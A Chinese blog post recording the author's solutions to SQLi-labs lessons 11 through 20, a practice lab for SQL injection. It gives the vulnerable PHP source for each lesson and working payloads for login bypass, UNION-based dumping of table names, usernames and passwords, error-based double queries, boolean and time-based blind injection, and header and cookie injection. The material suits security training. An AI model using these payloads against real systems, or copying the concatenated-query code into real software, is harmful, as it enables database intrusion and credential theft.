SQLI-LAB  的 实战记录(Less 11 - Less 20)

最新推荐文章于 2024-10-07 17:08:41 发布
最新推荐文章于 2024-10-07 17:08:41 发布
阅读量4.3k 收藏 3
点赞数
分类专栏： sql注入 文章标签： sqli-lab
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_21500173/article/details/51920968
版权

以下内容 只是本人在做 sqli-lab 练习时 写下的记录，仅供参考。
因为本人学过一些 sql注入 的内容，所以大部分内容是没有讲解的，如有不清楚的地方，请自行使用搜索引擎查询，相信会得到所需的内容。

Less - 11 Error Based- String

（第11课：基于错误 - 字符型）

Test:

    http://localhost/sqli-lab/Less-11/index.php
        uname=' &passwd=' &submit=Submit

注：这个是报错的。
建议用火狐浏览器的HackBar或者Burp来做测试
POST 格式 是用 Burp 截的，其实变量名可以直接右键看网页的源代码。
听说过万能密码么？可以考虑使用

Sourse Code：

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    echo 'Your Login name:'. $row['username'];
    echo 'Your Password:' .$row['password'];
    echo '<img src="../images/flag.jpg"  />';   
}else{
    print_r(mysql_error());
    echo '<img src="../images/slap.jpg" />';   
}

Solution：

    uname= ' or '1'='1 &passwd=  ' or '1'='1 &submit=Submit

    uname= ' or 1=1 --+ &passwd= ' or 1=1 --+ &submit=Submit

    uname= ' or 1=1 # &passwd= ' or 1=1 # &submit=Submit

     其它：

    uname= ' union select database(),6  --+ &passwd= ' union select database(),6  --+ &submit=Submit

    uname= ' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),6 --+ &passwd= '  --+ &submit=Submit

    uname= ' union select (select group_concat(username) from security.users),6 --+ &passwd= '  --+ &submit=Submit

Less - 12 Error Based- Double quotes- String

（第12课：基于错误 - 双引号 - 字符串）

Test：

    http://localhost/sqli-lab/Less-12/index.php
        uname= ") &passwd= " &submit=Submit

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘”) and password=(” ” “) LIMIT 0,1’ at line 1
注：直接就指出了 $uname和$passwd 周围是双引号和一层括号

Sourse Code：

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    echo 'Your Login name:'. $row['username'];
    echo 'Your Password:' .$row['password'];
    echo '<img src="../images/flag.jpg"   />';   
}else{
    print_r(mysql_error());
    echo '<img src="../images/slap.jpg"   />';   
}

Solution：

    uname= ")or ("1")=("1 &passwd= ")or ("1")=("1 &submit=Submit 

    uname= ") or 1=1 # &passwd= ") or 1=1 # &submit=Submit

     其它：

    uname= ") union select database(),6 # &passwd= ") or 1=1 # &submit=Submit

    uname= ") union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),6 # &passwd= ") or 1=1 # &submit=Submit

    uname= ") union select (select group_concat(username) from security.users),6 # &passwd= ") or 1=1 # &submit=Submit

Less - 13 Double Injection- String- with twist

（第13课：双注入 - 字符型 - 变形）

Test：

    http://localhost/sqli-lab/Less-13/index.php
        uname= 0' &passwd= 0' &submit=Submit

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘0’ ‘) LIMIT 0,1’ at line 1
注：直接就指出了 $uname和$passwd 周围是单引号和一层括号

Sourse Code：

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    echo '<img src="../images/flag.jpg"   />';   
}else{
    print_r(mysql_error());
    echo '<img src="../images/slap.jpg"   />';   
}

Solution：

    uname= ') or ('1')=('1 &passwd= ') or ('1')=('1 &submit=Submit

    uname= ') or 1=1 # &passwd= ') or 1=1 # &submit=Submit

     其它：

    uname= ') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit

    uname= ') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit


    uname= ') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= ') union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= ') union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= ') union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= ') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

Less - 14 Double Injection- Double quotes- String

（第14课：双注入 - 双引号 - 字符串）

Test：

    http://localhost/sqli-lab/Less-14/index.php
        uname= "&passwd=' &submit=Submit

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” ” LIMIT 0,1’ at line 1
注：能看出 $uname和$passwd 周围只有双引号

Sourse Code：

    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"';
    @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row){
        echo '<img src="../images/flag.jpg" />';   
    }else{
        print_r(mysql_error());
        echo '<img src="../images/slap.jpg"  />';   
    }

Solution：

    uname= " or "1"="1&passwd=" or "1"="1 &submit=Submit

     uname=" or 1=1 --+&passwd=" or 1=1 --+&submit=Submit

     uname=" or 1=1 #&passwd=" or 1=1 #&submit=Submit

     其它：

     uname= " union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit


    uname= " union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= " union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= " union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= " union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

    uname= " union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

Less - 15 Blind- Boolian Based- String

（第15课：盲注 - 基于布尔值 - 字符串）

Test：

    http://localhost/sqli-lab/Less-15/index.php
        uname="  or 1=1 # &passwd=" or 1=1 # &submit=Submit
        uname=' or 1=1 #&passwd=' or 1=1 #&submit=Submit

注：第一个错了，第二个对了，被单引号包围，没有回显，考虑盲注。

Sourse Code：

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
        echo '<img src="../images/flag.jpg"  />';   
}else{
        echo '<img src="../images/slap.jpg"   />';   
}

Solution：

    uname=' or '1'='1 &passwd=' or '1'='1 &submit=Submit

     uname=' or 1=1 #&passwd=' or 1=1 #&submit=Submit


     其它：

     uname=' or (length(database())) = 8 #&passwd=' or 1=1 #&submit=Submit

     uname=' or (ascii(substr((select database()) ,1,1))) = 115 #&passwd=' or 1=1 #&submit=Submit

Less - 16 Blind- Time Based- Double quotes- String

（第16课：盲注 - 基于时间 - 双引号 - 字符串）

Test：

    http://localhost/sqli-lab/Less-16/index.php
        uname=' or 1=1 # &passwd=' or 1=1 #&submit=Submit
        uname=") or 1=1 # &passwd=") or 1=1 # &submit=Submit

注：第一个错了，第二个对了，被双引号包围，没有回显，考虑盲注。
它的回显图片暴露了对错，所以是基于布尔值或是基于时间都行。

Sourse Code：

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    echo '<img src="../images/flag.jpg"  />';   
}else{
    echo '<img src="../images/slap.jpg"  />';     
}

Solution：

    uname=") or ("1")=("1 &passwd=") or ("1")=("1 &submit=Submit

     uname=") or 1=1 or if(1=1, sleep(1), null)  #&passwd=") or 1=1 #&submit=Submit

     其它：

     uname=") or (length(database())) = 8 #&passwd=") or 1=1 #&submit=Submit

     uname=") or (ascii(substr((select database()) ,1,1))) = 115  or if(1=1, sleep(1), null)  #&passwd=") or 1=1 #&submit=Submit

Less - 17 Update Query- Error based - String

（第17课：更新查询 - 基于错误 - 字符串）

Test：

    http://localhost/sqli-lab/Less-17/index.php

注：标题是密码重置，输入框就一个用户名，一个新密码，猜对用户名就好

Sourse Code：

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    $row1 = $row['username'];     
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    mysql_query($update);
    if (mysql_error()){
        print_r(mysql_error());
    }else{
    }
    echo '<img src="../images/flag1.jpg"   />';   
}else{
    echo '<img src="../images/slap1.jpg"   />';
}

注：对 $uname和$passwd字段有检查

Solution：

     uname=admin&passwd=666&submit=Submit

     其它：

          uname=Dumb&passwd=666&submit=Submit

          uname=Angelina&passwd=666&submit=Submit

          uname=secure&passwd=666&submit=Submit

Less - 18 Header Injection- Error Based- string

（第18课： 头部注入 - 基于错误 - 字符串）

Test：

    http://localhost/sqli-lab/Less-18/index.php
        uname=admin&passwd=admin&submit=Submit

Your IP ADDRESS is: 127.0.0.1
Your User Agent is: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
注：建议使用火狐的Modify Headers 或 Burp 修改 user-agent的值
已经将上一次练习中动过的 数据库的值改回来了。

Sourse Code：

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1){
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
    mysql_query($insert);
    echo 'Your User Agent is: ' .$uagent;
    print_r(mysql_error());           
    echo '<img src="../images/flag.jpg"  />';
}else{
    print_r(mysql_error());
    echo '<img src="../images/slap.jpg"   />';   
}

注：对 $uname和$passwd字段有检查

Solution：

    ' or '1' = '1

     其它：

         ' or (length(database())) = 8 or if(1=1, sleep(5), null) or '1' = '1

注：以上是user agent 的值，基于时间的盲注，如果不对会延时5s

Less - 19 Header Injection- Referer- Error Based- string

（第19课：头部注入 - Referer字段 - 基于错误- 字符串 ）

Test：

     http://localhost/sqli-lab/Less-19/index.php
         uname=admin&passwd=admin&submit=Submit

Your IP ADDRESS is: 127.0.0.1
Your Referer is:
注：建议使用火狐的Modify Headers 或 Burp 修改 referer的值

Sourse Code：

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1){
        $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
        mysql_query($insert);
        echo 'Your Referer is: ' .$uagent;
        print_r(mysql_error());           
        echo '<img src="../images/flag.jpg" />';
}else{
        print_r(mysql_error());
        echo '<img src="../images/slap.jpg"  />';   
}

注：对 $uname和$passwd字段有检查

Solution：

    ' or '1' = '1

    其它：

        ' or (length(database())) = 8 or if(1=1, sleep(5), null) or '1' = '1

注：以上是referer 的值，基于时间的盲注，如果不对，会延时5s

Less - 20 POST - Cookie injections - Uagent field - error based

（第20课：POST – cookie 注入 - Uagent字段 - 基于错误）

Test：

     http://localhost/sqli-lab/Less-20/index.php
         uname=Dumb&passwd=Dumb&submit=Submit

注：先登录，比如你知道一个账号 uname：Dumb，pwd：Dumb
登录以后会显示用户名 密码 Id cookie IP地址 User Agent。
可以使用火狐浏览器的Firebug来修改cookie中$uname的值。
记得把过期时间也改了，不然刚改完$uname的值，cookie就过期了。。。

Sourse Code：

无cookie时 登录部分
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1){
    setcookie('uname', $cookee, time()+3600);   
    header ('Location: index.php');
    print_r(mysql_error());           
    echo '<img src="../images/flag.jpg" />';
}else{
    print_r(mysql_error());
    echo '<img src="../images/slap.jpg" />';   
}
有cookie时 登录部分
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600; 
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];           
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result){
   die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row){
    echo 'Your Login name:'. $row['username'];
    echo 'Your Password:' .$row['password'];
    echo 'Your ID:' .$row['id'];
}else{   
    echo '<img src="../images/slap1.jpg" />';
}

注：对 $uname和$passwd字段有检查，有cookie时 从数据库中显示的数据是 username、password和id

Solution：

    Dumb ' or 1=1 #

     其它：

         ' union select 1,database(),6 or 1=1 #

         ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

         ' union select 1,group_concat(username),group_concat(password) from security.users  #

注：以上是cookie中uname的值

战狼767
关注
专栏目录
SQLi LABS Less-20 Cookie注入
wangyuxiang946的博客
06-23 1万+
SQLi第二十关，sqllabs less-20，sqli-labs less20
Sqli-labs靶场第11关详解[Sqli-labs-less-11]
m0_73615178的博客
02-24 1559
SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-
sqli-labs(less-20)
m0_64849639的博客
08-06 559
sqli-labs(less-20)
sqli-labs less-15 post布尔注入
最新发布
wanggonghanfei的博客
10-07 994
sqli-labs less-15 post布尔盲注
sqli-labs (less-20)
kukudeshuo的博客
03-11 331
sqli-labs (less-20) 进入20关，输入用户名和密码后，屏幕回显了我们的USER AGENT、IP地址、cookie信息 通过回显的为cookie信息我们猜测这关注入点很有可能在cookie里，题目提示也告诉我们为cookie注入 这里我们利用火狐的一个小工具来抓取cookie的信息，这个工具的名字为Cookies Manager +，我们打开来查看当前页面的cookie信息 我们输入’试试 屏幕回显报错 根据报错信息判断闭合方式为’#，并且为字符型注入 判断字段长度 判断字段
sqli-labs Less20
m0_60829468的博客
11-09 3143
说明 20关在传入参数时会生成cookie，对生成的cookie可以实行注入。 提交参数的第一个数据包 第二个数据包 一、对第二个数据包的cookie实行注入 Cookie: uname=uname=admin' and extractvalue(1,concat(0x7e,(database()),0x7e)) # 二、查表 Cookie: uname=uname=admin' and extractvalue(1,concat(0x7e,(select table...
sqli-lab-less20
Sa1nZen的博客
08-05 100
sqli-lab-less20
网络安全-sqlmap实战之sqlilabs-Less8_sqli-labs-master less-8 select from users where
2401_84254087的博客
05-02 63
当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。添加–dbms参数,–technique参数。使用-o参数优化,–batch参数进行跳过。
网络安全-sqlmap实战之sqlilabs-Less11_less11的sql注入用sqlmap将数据库dump
2401_84248681的博客
04-29 259
错误回显sql语句猜测。
Sqli-labs靶场详细攻略Less 6-10
qq_41755084的博客
10-10 947
与第五关相似，只是闭合的单引号换为了双引号。
SQLI-LABS Less-7 到 Less-8
Web学习之路
03-20 314
布尔盲注
sqli-labs less-11
爱党人士
06-15 838
1-10就是get，这个是post，会post就肯定会get的啦。 实验环境： firefox hackbar(这个是另一个版本，因为最多人用的那个版本要收费了） less 11: 随便输点东西 url栏没有什么变化， 肯定是post，用hackbar。 快速查看元素技巧： uname和passwd(这个在username右边的编辑框右键查看元素即可看到) 不出所料， 下面就是要对其进行判...
sqli-labs(less-11)
不知名白帽的博客
07-17 722
sqli-labs(less-11)。less-11(POST注入)
sqli-labs:Less-11-Less-20
打代码的小女孩
12-23 647
Less-11~Less-20是post型注入，一般都是登陆绕过，当然也是可以获取数据库的信息。
sqli-labs:less-11
羽的博客
07-22 142
POST 单引号注入 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text...
【SQL注入-10】cookie注入案例—以Sqli-labs靶机第less20关为例（借助BurpSuite工具）
m0_64378913的博客
05-06 2051
目录1 cookie注入概述2 cookie注入案例2.1 实验平台2.2 实验过程3.1 前戏 1 cookie注入概述 定义：cookie注入其原理也和平时的注入一样，只不过说我们是将提交的参数以cookie的方式提交。 一般的注入我们是使用get或者post方式提交： get方式提交就是直接在网址后面加上需要注入的语句； post则是通过表单方式， get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数，而另外一个却不能。 2 cookie注入案例 2.1 实验平台 靶机：Ce
【SQLi-LABS】Less -11 注入思路以及过程
m0_52513952的博客
02-22 3234
less 11 是 sqli-labs 的第一道 POST 型注入题，因此，我们不能再用之前 GET 型注入的方法，在搜索框进行注入，而是要在输入框里面完成注入。下面的注入流程是基于nliuc师傅的视频教程实现的。
Sqli-labs学习SQL注入-Lesson 11-20总结
weixin_38116282的博客
09-25 407
LE11- 简单的POST注入 闭合 ' LE12-简单的POST注入 闭合 ") LE13-简单的POST注入 闭合 ')  测试的时候多用'  " 然后判断语句怎么写的 LE14- 简单的POST注入 闭合 " LE15- 没有报错提示 只能用盲注 就是利用真假                 例如
SQL练习 Less11-20
S123KO的博客
08-24 289
127.0.0.1/sqli/ （注意：有些后面直接附上了答案） Less 11 1'or 1=1# 求数据库长度（布尔型盲注） 1' or length(database())=8# 求数据库名（xpath） 1'and updatexml(1,concat(0x23,database()),1)# 求表数 1' or (select count(table_name) fro...
sqli-lab安装
09-05
要安装sqli-lab，您需要按照以下步骤进行操作： 1. 首先，确保您具有Web服务器环境。您可以使用Apache、Nginx或其他适合您的环境的Web服务器。 2. 下载sqli-lab的代码。您可以从GitHub存储库中获取它，链接：...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值